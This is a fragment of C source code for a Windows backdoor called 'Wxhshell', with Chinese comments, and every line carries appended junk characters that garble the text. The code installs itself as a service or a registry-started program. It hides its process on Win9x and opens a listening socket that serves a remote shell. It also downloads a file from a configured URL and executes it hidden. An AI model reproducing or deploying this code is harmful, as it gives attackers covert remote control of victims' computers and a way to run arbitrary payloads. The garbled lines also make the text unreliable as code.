DWORD BasePriority; p@$92> '
ULONG UniqueProcessId; TbqtT_{
ULONG InheritedFromUniqueProcessId; jxK
`ShW=
} PROCESS_BASIC_INFORMATION; HELTL$j,b
be6`Sv"H
PROCNTQSIP NtQueryInformationProcess; $7-4pW$y
Ow0~sFz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T+V:vuK
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5=s|uuw/
K/&
HANDLE hProcess; Y(JZP\Tf_N
PROCESS_BASIC_INFORMATION pbi; L#V e[
G$`hPNSh
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6_EfOD9
if(NULL == hInst ) return 0; jJ>I*'w
NR^Z#BU
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &sq q+&ao
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c:DV8'fT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N,)rrBD
F0xm%?
if (!NtQueryInformationProcess) return 0; "t{D5{q|[k
p=Qo92
NH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FN0<iL
if(!hProcess) return 0; *XXa9z
k%RQf0`T
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wh]v{Fi'
-OQ6;A"#
CloseHandle(hProcess); c*8k _o,
$a')i<m^g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yX\~{%
if(hProcess==NULL) return 0; N8wA">u
!&8B8jHqA
HMODULE hMod; 'kCr1t
char procName[255]; *xKY>E+
unsigned long cbNeeded; f<DqA/$
:JxuaM8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5X`m.lhUc
b<g9L4s
CloseHandle(hProcess); h>NuQo*
*fDhNmQ `
if(strstr(procName,"services")) return 1; // 以服务启动 h*NBSvn
uQkFFWS
return 0; // 注册表启动 !"^//2N+,
} _'r&'s;<z
i;<H^\%
// 主模块 o
3 G*
int StartWxhshell(LPSTR lpCmdLine) L6pw'1'
{ 6[%4Q[
SOCKET wsl; gDsb~>rb|
BOOL val=TRUE; sU?%"q
int port=0; nrZZk QNI
struct sockaddr_in door; A3e83g~L
XuW>GT/
if(wscfg.ws_autoins) Install(); Pu]Pp`SP
.ktyA+r8v
port=atoi(lpCmdLine); SnW>`
#F >R5 D
if(port<=0) port=wscfg.ws_port; GA)t!Xg^
p?sC</R
WSADATA data; ]OA8H[U-eA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [RUYH5>Ik
z/S}z4o/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bu r0?q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &qFy$`"
door.sin_family = AF_INET; Z:%~Al:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bt-2S,c,o
door.sin_port = htons(port); *1b)Va8v*
m:{IVvN_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h-:te9p6>4
closesocket(wsl); 5F|oNI}$:
return 1; 6M_,4>
-
} k|
,F/:
#ANbhHG
if(listen(wsl,2) == INVALID_SOCKET) { nJo6;_MI!
closesocket(wsl); %:]ive]e
return 1; KdtQJ:_`k
} .q(1
Wxhshell(wsl); D~JrO]mi
WSACleanup(); Sy`7 })[
CrI:TB>/"
return 0; },G5!3
gflu!C6
} LYyOcb[x
&,~Oi(SX5
// 以NT服务方式启动 aRF}FE,u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G$$y\e$
{ 4brKAqg.
DWORD status = 0; s:\FlQ0
DWORD specificError = 0xfffffff; 6w:M_tDM
5QUL-*t
serviceStatus.dwServiceType = SERVICE_WIN32; m'.y,@^B
serviceStatus.dwCurrentState = SERVICE_START_PENDING; J PK(S~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N3g\X
serviceStatus.dwWin32ExitCode = 0; 5ki<1{aVtZ
serviceStatus.dwServiceSpecificExitCode = 0; P+nd?:cz
serviceStatus.dwCheckPoint = 0; [oh0 )wzB
serviceStatus.dwWaitHint = 0; E#m|Sq
;/g Bjp]H
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e2l!L*[g
if (hServiceStatusHandle==0) return; xRM)f93@
g/6>>p`J
status = GetLastError(); `z{sDe;
if (status!=NO_ERROR) o\;cXuh
{ =;?afUj
serviceStatus.dwCurrentState = SERVICE_STOPPED; (7_}UT@w-
serviceStatus.dwCheckPoint = 0; 3c.,T
serviceStatus.dwWaitHint = 0; 7awh__@
serviceStatus.dwWin32ExitCode = status; [b6P
}DW
serviceStatus.dwServiceSpecificExitCode = specificError; WvJidz?5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i j+)U`
return; ^6(Nu|6\@
} @is !VzE
TO~Z6NA0
serviceStatus.dwCurrentState = SERVICE_RUNNING; >")<pUQ
serviceStatus.dwCheckPoint = 0; Tweku}D7
serviceStatus.dwWaitHint = 0; w5uOkz #
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2Ub!wee
} ,4tuWO)"
(Ld,<!eN0
// 处理NT服务事件,比如:启动、停止 H!yqIh
VOID WINAPI NTServiceHandler(DWORD fdwControl) V*1hoC#
{ (!B1}5"
switch(fdwControl) )D"E]
{ (6#,
$Ze
case SERVICE_CONTROL_STOP: 5b5Hc Inu
serviceStatus.dwWin32ExitCode = 0; 78fFAN`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6./3w&D;
serviceStatus.dwCheckPoint = 0; M6o"|\
serviceStatus.dwWaitHint = 0; +XP9=U*g
{ 2j
<Y>Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n3Q Rn^
} LW '3m5
return; >`(]&o6<$
case SERVICE_CONTROL_PAUSE: VW/ICX~"d
serviceStatus.dwCurrentState = SERVICE_PAUSED; &K.js
break; yrVk$k#6}
case SERVICE_CONTROL_CONTINUE: vQ",rP%
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7U,[Ruu
break; A5[iFT>
case SERVICE_CONTROL_INTERROGATE: M\rZr3
break; kt;uB
X3
}; }a?( }{z-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6A23H7
} 8.m9 =+)8
$WS?/H0C
// 标准应用程序主函数 *H({q`j33k
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <*F!A' w2o
{ jC}2>_#m(
[;RO=
// 获取操作系统版本 sm?V%NX&
OsIsNt=GetOsVer(); QDdH5EfY
GetModuleFileName(NULL,ExeFile,MAX_PATH); gql^Inx<
x^]J^L45
// 从命令行安装 vnS;T+NZSC
if(strpbrk(lpCmdLine,"iI")) Install(); sRkPXzK
x=%wPVJ
// 下载执行文件 tEFbL~n
if(wscfg.ws_downexe) { b[s=FH]#N
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L }L"BY3$
WinExec(wscfg.ws_filenam,SW_HIDE); J,Rp&tavt:
} RR9G$}WS(
;\48Q;
if(!OsIsNt) { o@47WD'm
// 如果时win9x,隐藏进程并且设置为注册表启动 J[ 7Sf^r
HideProc();
#m;|QWW
StartWxhshell(lpCmdLine); |\3X7)^8D
} E,p4R%:$@1
else PyQ
P K,
if(StartFromService()) /k O
<o&
// 以服务方式启动 0n-S%e5
StartServiceCtrlDispatcher(DispatchTable); =Hf`yH\#
else M>_
U9g
// 普通方式启动 RoYwZX~
StartWxhshell(lpCmdLine); rMEM$1vPU
@b{I0+li"/
return 0; uP NZ^lM
}